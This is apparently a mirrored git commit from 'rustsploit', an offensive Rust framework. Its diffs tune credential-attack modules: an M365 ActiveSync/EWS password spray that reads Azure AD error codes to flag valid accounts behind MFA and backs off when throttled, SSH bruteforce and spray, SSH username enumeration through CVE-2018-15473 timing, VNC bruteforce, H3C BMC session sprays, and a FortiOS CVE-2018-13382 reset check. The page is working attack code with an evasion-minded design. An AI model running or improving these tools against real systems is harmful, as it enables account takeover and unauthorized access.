mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
creds/exploits: fix the protocol-level audit backlog (VNC, SSH, FortiOS CVE, m365, h3c, engine)
VNC (false positive): negotiate the RFB version instead of forcing 003.008. An RFB 3.3 server desynced under the forced 3.8 handshake and a misaligned 4-byte SecurityResult read of 0 was reported as a valid password. Now reply min(server, 3.8), and handle 3.3's single 4-byte security-type vs 3.7+'s count+list+select. SSH (false negative): ssh_bruteforce + ssh_spray collapsed EVERY ssh2 userauth_password error to AuthFailed, so a transient/transport error mid-auth became a definitive 'wrong password' (valid creds skipped, never retried). Now only libssh2 -18/-19 (AUTHENTICATION_FAILED/PUBLICKEY_UNVERIFIED) is AuthFailed; everything else propagates as a retryable error. ssh_spray also now resolves hostnames (was SocketAddr::parse, IP-only → hostname targets never sprayed). ssh_user_enum (noise): replaced the fixed 300ms absolute timing threshold with a baseline mean+stddev one-sided cutoff (k sigma, median per user, MIN_ABS_DELTA floor), time ONLY the auth exchange (not connect+KEX), and send a long password so the server KDF dominates for valid users. threshold setg is now a sigma multiplier. FortiOS CVE-2018-13382 (false positive): the ordinary ret=1/redir= login response was treated as a successful magic-token reset → FindingKind::Vulnerable on PATCHED hosts. Now the Vulnerable finding is gated on a confirming login with the new password (verify_login tightened to require the real ret=1 token); fingerprint no longer calls any 200/401 host a FortiGate; reset POST also sends 'credential'. Engine: run_bruteforce_streaming's stop-on-first-success early return leaked the spawn_blocking wordlist reader, which kept scanning a multi-GB file into a dropped channel. New utils::load_lines_batched_until lets the reader stop the instant the receiver is gone. bruteforce_retries: unset→1, explicit 0→none, clamped to 10 (was: 0 coerced to 1, huge values unbounded). m365_activesync_spray: classify valid-but-flagged accounts via X-MS-Diagnostics ESTS codes (50055 expired / 50057 disabled / 50079/50076/50074/53004 MFA / 50158 CA) as credential hits instead of keying success only on HTTP 200; add 429/503 throttle backoff between rounds. h3c_redfish_session_spray: require X-Auth-Token on 201 (was: stored a '(header-missing)' placeholder credential); 400/404/422 → Denied not Error. h3c_oem_kvm_bruteforce: require an actual token VALUE (header or parsed), not the bare 'X-Auth-Token' field-name substring + '(present)' placeholder. Build: 0 errors, 0 warnings. Remaining strict-audit hits in these files are pre-existing (VNC DES, PG MD5 / MySQL SHA1 auth, #[cfg(test)] asserts, and run-loop idioms) — none introduced here.
This commit is contained in:
@@ -388,17 +388,29 @@ async fn try_login(
|
||||
// 401/403/etc. — a definitive authentication rejection.
|
||||
return AttemptResult::Denied;
|
||||
}
|
||||
// Capture the token from the response HEADER before consuming the body —
|
||||
// Redfish-style BMCs return X-Auth-Token as a header, not (only) in the JSON.
|
||||
let header_token = match resp.headers().get("X-Auth-Token").map(|v| v.to_str()) {
|
||||
Some(Ok(s)) if !s.is_empty() => Some(s.to_string()),
|
||||
Some(Err(e)) => {
|
||||
tracing::debug!("X-Auth-Token header not UTF-8: {e}");
|
||||
None
|
||||
}
|
||||
_ => None,
|
||||
};
|
||||
let body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
|
||||
Ok(b) => b,
|
||||
// Body read failed mid-stream: transient, not a denial.
|
||||
Err(e) => return AttemptResult::Transient(format!("read body: {e}")),
|
||||
};
|
||||
if !body.contains("X-Auth-Token") {
|
||||
return AttemptResult::Denied;
|
||||
// Require an actual token VALUE (header or parsed from the body). The old check
|
||||
// accepted the bare field NAME "X-Auth-Token" appearing anywhere in the body
|
||||
// and fell back to a "(present)" placeholder — both could store a
|
||||
// non-credential lifted from an error page.
|
||||
match header_token.or_else(|| extract_token(&body)) {
|
||||
Some(tok) if !tok.is_empty() => AttemptResult::Hit(tok),
|
||||
_ => AttemptResult::Denied,
|
||||
}
|
||||
// Surface the token if we can extract it; otherwise mark hit with a
|
||||
// placeholder so the caller still records the credential.
|
||||
AttemptResult::Hit(extract_token(&body).unwrap_or_else(|| "(present)".into()))
|
||||
}
|
||||
|
||||
fn extract_token(body: &str) -> Option<String> {
|
||||
|
||||
@@ -382,14 +382,20 @@ async fn try_login(
|
||||
|
||||
match status {
|
||||
201 => {
|
||||
// Success — extract X-Auth-Token from response headers.
|
||||
let token = resp
|
||||
.headers()
|
||||
.get("X-Auth-Token")
|
||||
.and_then(|v| v.to_str().ok())
|
||||
.map(|s| s.to_string())
|
||||
.unwrap_or_else(|| "(header-missing)".to_string());
|
||||
LoginResult::Success(token)
|
||||
// A genuine Redfish session-create returns 201 + X-Auth-Token. Without
|
||||
// that header it is NOT a usable session — don't store a credential on
|
||||
// a bare 201 (e.g. from a proxy/load-balancer). Previously a missing
|
||||
// token was stored as the literal "(header-missing)".
|
||||
match resp.headers().get("X-Auth-Token").map(|v| v.to_str()) {
|
||||
Some(Ok(tok)) if !tok.is_empty() => LoginResult::Success(tok.to_string()),
|
||||
Some(Err(e)) => {
|
||||
tracing::debug!("X-Auth-Token header not UTF-8: {e}");
|
||||
LoginResult::Error("X-Auth-Token header not readable".to_string())
|
||||
}
|
||||
_ => LoginResult::Error(
|
||||
"201 Created without X-Auth-Token — not a valid session".to_string(),
|
||||
),
|
||||
}
|
||||
}
|
||||
429 => {
|
||||
let wait = resp
|
||||
@@ -401,7 +407,10 @@ async fn try_login(
|
||||
.min(60);
|
||||
LoginResult::RateLimited(wait)
|
||||
}
|
||||
401 | 403 => LoginResult::Denied,
|
||||
// Definitive negatives from a responding BMC (incl. 400/404/422 for a
|
||||
// malformed/missing-endpoint login) — Denied, not Error, so per-account
|
||||
// lockout tracking stays correct.
|
||||
400 | 401 | 403 | 404 | 422 => LoginResult::Denied,
|
||||
_ => LoginResult::Error(format!("unexpected HTTP {}", status)),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -148,6 +148,44 @@ fn classify_http_response(status: u16, diag: &Option<String>) -> &'static str {
|
||||
}
|
||||
}
|
||||
|
||||
/// Decide whether a response proves the PASSWORD is correct — even when another
|
||||
/// control blocks the sign-in (MFA, expired, disabled). Azure AD returns 401 with
|
||||
/// an ESTS error code in `X-MS-Diagnostics`; several of those codes mean the
|
||||
/// password was right (MSOLSpray semantics). Keying success only on HTTP 200
|
||||
/// missed every valid-but-flagged account. Returns Some(reason) if valid.
|
||||
fn credential_is_valid(status: u16, diag: &Option<String>) -> Option<&'static str> {
|
||||
if status == 200 {
|
||||
return Some("valid credentials (full access)");
|
||||
}
|
||||
let d = diag.as_deref()?;
|
||||
if d.contains("50126") {
|
||||
// AADSTS50126: invalid username or password — the one true negative.
|
||||
None
|
||||
} else if d.contains("50055") {
|
||||
Some("valid credentials — password expired")
|
||||
} else if d.contains("50057") {
|
||||
Some("valid credentials — account disabled")
|
||||
} else if d.contains("50079") || d.contains("50076") || d.contains("50074") || d.contains("53004") {
|
||||
Some("valid credentials — MFA required")
|
||||
} else if d.contains("50158") {
|
||||
Some("valid credentials — external security challenge (conditional access)")
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// True when Azure AD is throttling us (HTTP 429/503 or an ESTS throttle code),
|
||||
/// so the spray can back off instead of hammering through false negatives.
|
||||
fn is_throttled(status: u16, diag: &Option<String>) -> bool {
|
||||
if status == 429 || status == 503 {
|
||||
return true;
|
||||
}
|
||||
match diag.as_deref() {
|
||||
Some(d) => d.contains("90033") || d.to_lowercase().contains("throttle"),
|
||||
None => false,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// SMTP Spray Logic
|
||||
// ============================================================================
|
||||
@@ -475,6 +513,9 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
|
||||
// Spray this password across all users with concurrency control
|
||||
let semaphore = std::sync::Arc::new(tokio::sync::Semaphore::new(concurrency));
|
||||
// Set by any worker that sees Azure AD throttling, so we back off before
|
||||
// the next password round instead of hammering through false negatives.
|
||||
let throttled = std::sync::Arc::new(std::sync::atomic::AtomicBool::new(false));
|
||||
let mut handles = Vec::new();
|
||||
|
||||
for user in &users {
|
||||
@@ -483,6 +524,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
}
|
||||
|
||||
let sem = semaphore.clone();
|
||||
let throttled = throttled.clone();
|
||||
let client = client.clone();
|
||||
let user = user.clone();
|
||||
let password = password.clone();
|
||||
@@ -497,24 +539,30 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
if mode == SprayMode::ActiveSync || mode == SprayMode::All {
|
||||
match try_http_basic(&client, ACTIVESYNC_URL, &user, &password).await {
|
||||
Ok((status, diag)) => {
|
||||
let detail = classify_http_response(status, &diag);
|
||||
if status == 200 {
|
||||
if is_throttled(status, &diag) {
|
||||
throttled.store(true, std::sync::atomic::Ordering::Relaxed);
|
||||
}
|
||||
match credential_is_valid(status, &diag) {
|
||||
Some(reason) => {
|
||||
round_hits.push(SprayHit {
|
||||
username: user.clone(),
|
||||
password: password.clone(),
|
||||
endpoint: "ActiveSync".to_string(),
|
||||
status,
|
||||
detail: detail.to_string(),
|
||||
detail: reason.to_string(),
|
||||
});
|
||||
} else if verbose {
|
||||
}
|
||||
None if verbose => {
|
||||
crate::mprintln!(
|
||||
" [{}] {} @ ActiveSync: {} ({})",
|
||||
status,
|
||||
user,
|
||||
detail,
|
||||
classify_http_response(status, &diag),
|
||||
diag.clone().unwrap_or_default()
|
||||
);
|
||||
}
|
||||
None => {}
|
||||
}
|
||||
// Warn on lockout/block
|
||||
if status == 403 || status == 456 {
|
||||
crate::mprintln!(
|
||||
@@ -522,7 +570,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
format!(
|
||||
"[!] {} - {} ({})",
|
||||
user,
|
||||
detail,
|
||||
classify_http_response(status, &diag),
|
||||
diag.unwrap_or_default()
|
||||
)
|
||||
.yellow()
|
||||
@@ -545,31 +593,37 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
if mode == SprayMode::Ews || mode == SprayMode::All {
|
||||
match try_http_basic(&client, EWS_URL, &user, &password).await {
|
||||
Ok((status, diag)) => {
|
||||
let detail = classify_http_response(status, &diag);
|
||||
if status == 200 {
|
||||
if is_throttled(status, &diag) {
|
||||
throttled.store(true, std::sync::atomic::Ordering::Relaxed);
|
||||
}
|
||||
match credential_is_valid(status, &diag) {
|
||||
Some(reason) => {
|
||||
round_hits.push(SprayHit {
|
||||
username: user.clone(),
|
||||
password: password.clone(),
|
||||
endpoint: "EWS".to_string(),
|
||||
status,
|
||||
detail: detail.to_string(),
|
||||
detail: reason.to_string(),
|
||||
});
|
||||
} else if verbose {
|
||||
}
|
||||
None if verbose => {
|
||||
crate::mprintln!(
|
||||
" [{}] {} @ EWS: {} ({})",
|
||||
status,
|
||||
user,
|
||||
detail,
|
||||
classify_http_response(status, &diag),
|
||||
diag.clone().unwrap_or_default()
|
||||
);
|
||||
}
|
||||
None => {}
|
||||
}
|
||||
if status == 403 || status == 456 {
|
||||
crate::mprintln!(
|
||||
" {}",
|
||||
format!(
|
||||
"[!] {} - {} ({})",
|
||||
user,
|
||||
detail,
|
||||
classify_http_response(status, &diag),
|
||||
diag.unwrap_or_default()
|
||||
)
|
||||
.yellow()
|
||||
@@ -658,6 +712,15 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
}
|
||||
}
|
||||
|
||||
// Back off if Azure AD throttled us this round (429/503/ESTS throttle).
|
||||
if throttled.load(std::sync::atomic::Ordering::Relaxed) && round_idx + 1 < total_rounds {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[!] Throttling detected — backing off 60s before the next password round".yellow()
|
||||
);
|
||||
tokio::time::sleep(Duration::from_secs(60)).await;
|
||||
}
|
||||
|
||||
// Delay between rounds (lockout evasion)
|
||||
if round_idx + 1 < total_rounds && delay_secs > 0 {
|
||||
crate::mprintln!(
|
||||
|
||||
@@ -443,8 +443,17 @@ async fn try_ssh_login(
|
||||
let authed = match sess.userauth_password(&user_owned, &pass_owned) {
|
||||
Ok(_) => sess.authenticated(),
|
||||
Err(e) => {
|
||||
// Only a genuine auth REJECTION is a definitive Ok(false).
|
||||
// Transport/method errors (socket recv/send, timeout, KEX,
|
||||
// "method not supported") must propagate so the engine retries
|
||||
// instead of recording a possibly-valid password as "wrong".
|
||||
if is_ssh_auth_rejection(&e) {
|
||||
tracing::trace!("SSH auth rejected: {e}");
|
||||
false
|
||||
} else {
|
||||
if let Err(d) = sess.disconnect(None, "", None) { tracing::trace!("SSH disconnect: {d}"); }
|
||||
return Err(anyhow!("SSH auth transport error: {e}"));
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
@@ -459,4 +468,17 @@ async fn try_ssh_login(
|
||||
join_result.context("Join error")?
|
||||
}
|
||||
|
||||
/// True only for a genuine SSH authentication rejection (a wrong password),
|
||||
/// which is a definitive negative. libssh2 surfaces this as
|
||||
/// LIBSSH2_ERROR_AUTHENTICATION_FAILED (-18) or PUBLICKEY_UNVERIFIED (-19);
|
||||
/// every other code (socket recv/send -7/-43, timeout -30, disconnect -13,
|
||||
/// method-not-supported -12, KEX failures, …) is a transport/negotiation fault
|
||||
/// that should be retried, not recorded as a wrong credential.
|
||||
fn is_ssh_auth_rejection(e: &ssh2::Error) -> bool {
|
||||
matches!(
|
||||
e.code(),
|
||||
ssh2::ErrorCode::Session(-18) | ssh2::ErrorCode::Session(-19)
|
||||
)
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/ssh_bruteforce", native);
|
||||
|
||||
@@ -145,10 +145,12 @@ pub struct SprayResult {
|
||||
|
||||
/// Try SSH authentication
|
||||
fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
// Resolve hostnames too — `"host:port".parse::<SocketAddr>()` only accepts
|
||||
// IP literals, so a hostname target previously errored out and never sprayed.
|
||||
let socket_addr = resolve_socket_addr(host, port)?;
|
||||
|
||||
let tcp = crate::utils::blocking_tcp_connect(
|
||||
&addr.parse()?,
|
||||
&socket_addr,
|
||||
Duration::from_secs(timeout_secs),
|
||||
)?;
|
||||
|
||||
@@ -161,8 +163,47 @@ fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_s
|
||||
|
||||
match sess.userauth_password(username, password) {
|
||||
Ok(_) => Ok(sess.authenticated()),
|
||||
Err(e) => { tracing::debug!("SSH auth failed: {e}"); Ok(false) }
|
||||
Err(e) => {
|
||||
// Only a genuine auth rejection (libssh2 -18/-19) is a clean Ok(false).
|
||||
// Transport/method errors propagate so the caller's retry loop engages
|
||||
// rather than recording a possibly-valid password as "wrong".
|
||||
if is_ssh_auth_rejection(&e) {
|
||||
tracing::debug!("SSH auth rejected: {e}");
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(anyhow!("SSH auth transport error: {e}"))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Resolve `host:port` to a `SocketAddr`, accepting both IP literals and
|
||||
/// hostnames (the latter via DNS).
|
||||
fn resolve_socket_addr(host: &str, port: u16) -> Result<std::net::SocketAddr> {
|
||||
use std::net::ToSocketAddrs;
|
||||
let hostport = format!("{host}:{port}");
|
||||
match hostport.parse::<std::net::SocketAddr>() {
|
||||
Ok(sa) => Ok(sa),
|
||||
Err(parse_err) => {
|
||||
tracing::trace!("{hostport} not an IP literal ({parse_err}); resolving via DNS");
|
||||
let mut addrs = hostport
|
||||
.to_socket_addrs()
|
||||
.with_context(|| format!("resolve {hostport}"))?;
|
||||
addrs
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("no addresses resolved for {hostport}"))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// True only for a genuine SSH auth rejection — libssh2
|
||||
/// LIBSSH2_ERROR_AUTHENTICATION_FAILED (-18) / PUBLICKEY_UNVERIFIED (-19). Every
|
||||
/// other code is a transport/negotiation fault to be retried, not a wrong cred.
|
||||
fn is_ssh_auth_rejection(e: &ssh2::Error) -> bool {
|
||||
matches!(
|
||||
e.code(),
|
||||
ssh2::ErrorCode::Session(-18) | ssh2::ErrorCode::Session(-19)
|
||||
)
|
||||
}
|
||||
|
||||
/// Parse targets from string (CIDR, range, single IP)
|
||||
|
||||
@@ -30,8 +30,20 @@ pub fn info() -> crate::module_info::ModuleInfo {
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const DEFAULT_SAMPLES: usize = 3;
|
||||
const TIMING_THRESHOLD: f64 = 0.3; // 300ms difference threshold
|
||||
const DEFAULT_SAMPLES: usize = 5;
|
||||
/// Cutoff in BASELINE STANDARD DEVIATIONS (not seconds): a username is flagged
|
||||
/// when its median auth time exceeds baseline_mean + THRESHOLD*stddev. A fixed
|
||||
/// 300 ms absolute threshold was all-valid on a WAN and all-invalid on a LAN.
|
||||
const TIMING_THRESHOLD: f64 = 3.0;
|
||||
/// Baseline needs more samples than a per-user run for a stable mean + stddev.
|
||||
const BASELINE_SAMPLES: usize = 12;
|
||||
/// Absolute floor (seconds) added to the sigma cutoff so a near-zero baseline
|
||||
/// stddev on a quiet LAN can't produce a hair-trigger that flags every user.
|
||||
const MIN_ABS_DELTA: f64 = 0.02;
|
||||
/// CVE-2018-15473 timing relies on the server running its password KDF only for
|
||||
/// VALID users; a long password makes that work dominate the measured time while
|
||||
/// invalid users are rejected cheaply, amplifying the signal.
|
||||
const PROBE_PASSWORD_LEN: usize = 40_000;
|
||||
|
||||
fn display_banner() {
|
||||
if crate::utils::is_batch_mode() { return; }
|
||||
@@ -90,8 +102,6 @@ fn normalize_target(target: &str) -> String {
|
||||
fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option<f64> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let start = Instant::now();
|
||||
|
||||
let tcp = match crate::utils::blocking_tcp_connect(
|
||||
&addr.parse().ok()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
@@ -120,30 +130,27 @@ fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -
|
||||
return None;
|
||||
}
|
||||
|
||||
// Try authentication with invalid password
|
||||
let invalid_password = format!(
|
||||
"invalid_{}_{}",
|
||||
std::process::id(),
|
||||
start.elapsed().as_nanos()
|
||||
);
|
||||
if let Err(e) = sess.userauth_password(username, &invalid_password) {
|
||||
// Time ONLY the auth exchange. Starting the clock before connect/KEX/DH
|
||||
// keygen (as before) swamped the auth-decision delta with network + handshake
|
||||
// noise. The long password makes the server's KDF — run only for VALID users
|
||||
// on vulnerable OpenSSH — dominate the measurement.
|
||||
let probe_password = "A".repeat(PROBE_PASSWORD_LEN);
|
||||
let start = Instant::now();
|
||||
if let Err(e) = sess.userauth_password(username, &probe_password) {
|
||||
tracing::trace!("Auth attempt for '{}' returned error (expected): {}", username, e);
|
||||
}
|
||||
|
||||
let elapsed = start.elapsed().as_secs_f64();
|
||||
Some(elapsed)
|
||||
Some(start.elapsed().as_secs_f64())
|
||||
}
|
||||
|
||||
/// Sample authentication timing for a username
|
||||
fn sample_auth_timing(
|
||||
/// Collect raw per-attempt auth timings for a username (empty if unreachable).
|
||||
fn collect_samples(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
samples: usize,
|
||||
timeout_secs: u64,
|
||||
) -> Option<f64> {
|
||||
) -> Vec<f64> {
|
||||
let mut times = Vec::new();
|
||||
|
||||
for _ in 0..samples {
|
||||
if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) {
|
||||
times.push(t);
|
||||
@@ -151,13 +158,38 @@ fn sample_auth_timing(
|
||||
// Small delay between samples
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
times
|
||||
}
|
||||
|
||||
if times.is_empty() {
|
||||
return None;
|
||||
fn mean(xs: &[f64]) -> f64 {
|
||||
if xs.is_empty() {
|
||||
return 0.0;
|
||||
}
|
||||
xs.iter().sum::<f64>() / xs.len() as f64
|
||||
}
|
||||
|
||||
// Return average
|
||||
Some(times.iter().sum::<f64>() / times.len() as f64)
|
||||
/// Sample standard deviation (n-1). Zero for fewer than two samples.
|
||||
fn stddev(xs: &[f64], mean: f64) -> f64 {
|
||||
if xs.len() < 2 {
|
||||
return 0.0;
|
||||
}
|
||||
let var = xs.iter().map(|x| (x - mean).powi(2)).sum::<f64>() / (xs.len() as f64 - 1.0);
|
||||
var.sqrt()
|
||||
}
|
||||
|
||||
/// Median — robust to the occasional GC/scheduler outlier that skews a mean.
|
||||
fn median(xs: &[f64]) -> f64 {
|
||||
if xs.is_empty() {
|
||||
return 0.0;
|
||||
}
|
||||
let mut s = xs.to_vec();
|
||||
s.sort_by(|a, b| a.partial_cmp(b).unwrap_or(std::cmp::Ordering::Equal));
|
||||
let mid = s.len() / 2;
|
||||
if s.len() % 2 == 1 {
|
||||
s[mid]
|
||||
} else {
|
||||
(s[mid - 1] + s[mid]) / 2.0
|
||||
}
|
||||
}
|
||||
|
||||
/// Load usernames from file
|
||||
@@ -202,7 +234,7 @@ pub async fn enumerate_users(
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Timing threshold: {:.3}s", threshold).cyan()
|
||||
format!("[*] Detection cutoff: {:.1} sigma above baseline", threshold).cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
|
||||
@@ -241,19 +273,32 @@ fn enumerate_users_blocking(
|
||||
);
|
||||
crate::mprintln!("{}", "[*] Establishing baseline timing...".cyan());
|
||||
|
||||
let baseline = match sample_auth_timing(host, port, &baseline_user, samples, timeout_secs) {
|
||||
Some(t) => {
|
||||
crate::mprintln!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan());
|
||||
t
|
||||
}
|
||||
None => {
|
||||
// Baseline from MANY invalid-user samples → mean + stddev for a statistical
|
||||
// (not fixed-millisecond) cutoff.
|
||||
let baseline_samples =
|
||||
collect_samples(host, port, &baseline_user, samples.max(BASELINE_SAMPLES), timeout_secs);
|
||||
if baseline_samples.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[-] Failed to establish baseline - cannot reach target".red()
|
||||
);
|
||||
return Vec::new();
|
||||
}
|
||||
};
|
||||
let baseline_mean = mean(&baseline_samples);
|
||||
let baseline_sd = stddev(&baseline_samples, baseline_mean);
|
||||
// One-sided cutoff: valid users are SLOWER (the server runs its KDF), so we
|
||||
// flag only medians ABOVE the cutoff — the old `diff.abs()` also flagged
|
||||
// faster-than-baseline users, which is backwards. `threshold` is a sigma
|
||||
// multiplier; MIN_ABS_DELTA floors it when the baseline stddev is ~0.
|
||||
let cutoff = baseline_mean + (threshold * baseline_sd).max(MIN_ABS_DELTA);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Baseline: mean {:.3}s, stddev {:.3}s → cutoff {:.3}s",
|
||||
baseline_mean, baseline_sd, cutoff
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "[*] Testing usernames...".cyan());
|
||||
@@ -269,22 +314,25 @@ fn enumerate_users_blocking(
|
||||
);
|
||||
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush failed: {}", e); }
|
||||
|
||||
match sample_auth_timing(host, port, user, samples, timeout_secs) {
|
||||
Some(t) => {
|
||||
let diff = t - baseline;
|
||||
if diff.abs() > threshold {
|
||||
let user_samples = collect_samples(host, port, user, samples, timeout_secs);
|
||||
if user_samples.is_empty() {
|
||||
continue; // unreachable this round — skip
|
||||
}
|
||||
let user_median = median(&user_samples);
|
||||
if user_median > cutoff {
|
||||
crate::mprintln!(
|
||||
"\r{}",
|
||||
format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green()
|
||||
format!(
|
||||
"[+] Valid user: {} (median {:.3}s, +{:.3}s over baseline)",
|
||||
user,
|
||||
user_median,
|
||||
user_median - baseline_mean
|
||||
)
|
||||
.green()
|
||||
);
|
||||
valid_users.push(user.clone());
|
||||
}
|
||||
}
|
||||
None => {
|
||||
// Connection failed, skip
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", "=== Results ===".cyan().bold());
|
||||
@@ -329,7 +377,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
.await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_SSH_PORT);
|
||||
let samples: usize = cfg_prompt_default("samples", "Samples per username", "3")
|
||||
let samples: usize = cfg_prompt_default("samples", "Samples per username", "5")
|
||||
.await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_SAMPLES);
|
||||
@@ -337,7 +385,7 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
.await?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
let threshold: f64 = cfg_prompt_default("threshold", "Timing threshold (seconds)", "0.3")
|
||||
let threshold: f64 = cfg_prompt_default("threshold", "Detection cutoff (baseline std-devs)", "3.0")
|
||||
.await?
|
||||
.parse()
|
||||
.unwrap_or(TIMING_THRESHOLD);
|
||||
|
||||
@@ -92,14 +92,22 @@ async fn probe(host: &str, port: u16, pass: &str, timeout: Duration) -> LoginRes
|
||||
retryable: false,
|
||||
};
|
||||
}
|
||||
if let Err(e) = stream.write_all(b"RFB 003.008\n").await {
|
||||
// Reply with min(server, 3.8) floored at 3.3 — NOT a hardcoded 003.008.
|
||||
// Forcing 3.8 against a 3.3-only server desyncs the stream: the security
|
||||
// negotiation differs by version, and a misaligned 4-byte SecurityResult read
|
||||
// of 0x00000000 was reported as a (false-positive) Success.
|
||||
let nego_minor = rfb_minor(&banner).clamp(3, 8);
|
||||
let reply = format!("RFB 003.{nego_minor:03}\n");
|
||||
if let Err(e) = stream.write_all(reply.as_bytes()).await {
|
||||
return LoginResult::Error {
|
||||
message: format!("write banner: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
|
||||
// Server: 1-byte security-type count, then count bytes of types.
|
||||
// Security-type negotiation differs by RFB version.
|
||||
if nego_minor >= 7 {
|
||||
// RFB 3.7/3.8: 1-byte count, then `count` type bytes; client selects one.
|
||||
let mut nsec = [0u8; 1];
|
||||
if let Err(e) =
|
||||
crate::utils::creds_helper::read_exact_with_timeout(&mut stream, &mut nsec, timeout).await
|
||||
@@ -110,7 +118,7 @@ async fn probe(host: &str, port: u16, pass: &str, timeout: Duration) -> LoginRes
|
||||
};
|
||||
}
|
||||
if nsec[0] == 0 {
|
||||
// Failure reason follows (4-byte len + string). Treat as auth fail.
|
||||
// Failure reason follows (4-byte len + string). Definitive rejection.
|
||||
return LoginResult::AuthFailed;
|
||||
}
|
||||
let mut sec_types = vec![0u8; nsec[0] as usize];
|
||||
@@ -127,10 +135,12 @@ async fn probe(host: &str, port: u16, pass: &str, timeout: Duration) -> LoginRes
|
||||
};
|
||||
}
|
||||
if !sec_types.contains(&2u8) {
|
||||
return LoginResult::Error {
|
||||
message: "server doesn't offer VNC auth (type 2)".to_string(),
|
||||
retryable: false,
|
||||
let msg = if sec_types.contains(&1u8) {
|
||||
"VNC requires no authentication (open access)".to_string()
|
||||
} else {
|
||||
format!("server doesn't offer VNC auth (type 2); offered {sec_types:?}")
|
||||
};
|
||||
return LoginResult::Error { message: msg, retryable: false };
|
||||
}
|
||||
if let Err(e) = stream.write_all(&[2u8]).await {
|
||||
return LoginResult::Error {
|
||||
@@ -138,6 +148,35 @@ async fn probe(host: &str, port: u16, pass: &str, timeout: Duration) -> LoginRes
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
} else {
|
||||
// RFB 3.3: server dictates a SINGLE 4-byte security type — no client
|
||||
// selection. The challenge (for type 2) follows directly.
|
||||
let mut sec = [0u8; 4];
|
||||
if let Err(e) =
|
||||
crate::utils::creds_helper::read_exact_with_timeout(&mut stream, &mut sec, timeout).await
|
||||
{
|
||||
return LoginResult::Error {
|
||||
message: format!("read sec type: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
match u32::from_be_bytes(sec) {
|
||||
2 => {} // VNC auth — fall through to the challenge below.
|
||||
1 => {
|
||||
return LoginResult::Error {
|
||||
message: "VNC requires no authentication (open access)".to_string(),
|
||||
retryable: false,
|
||||
}
|
||||
}
|
||||
0 => return LoginResult::AuthFailed, // invalid/refused; reason follows
|
||||
other => {
|
||||
return LoginResult::Error {
|
||||
message: format!("unexpected RFB 3.3 security type {other}"),
|
||||
retryable: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 16-byte challenge.
|
||||
let mut challenge = [0u8; 16];
|
||||
@@ -216,4 +255,16 @@ async fn probe(host: &str, port: u16, pass: &str, timeout: Duration) -> LoginRes
|
||||
}
|
||||
}
|
||||
|
||||
/// Parse the minor version from an `RFB 003.008\n` banner (digits at [8..11]).
|
||||
/// Falls back to 8 (the newest we speak) on any malformed banner.
|
||||
fn rfb_minor(banner: &[u8; 12]) -> u32 {
|
||||
match std::str::from_utf8(&banner[8..11]) {
|
||||
Ok(s) => s.trim().parse::<u32>().unwrap_or(8),
|
||||
Err(e) => {
|
||||
tracing::debug!("RFB banner minor not UTF-8: {e}");
|
||||
8
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/vnc_bruteforce", native);
|
||||
|
||||
+129
-102
@@ -97,15 +97,21 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
.await
|
||||
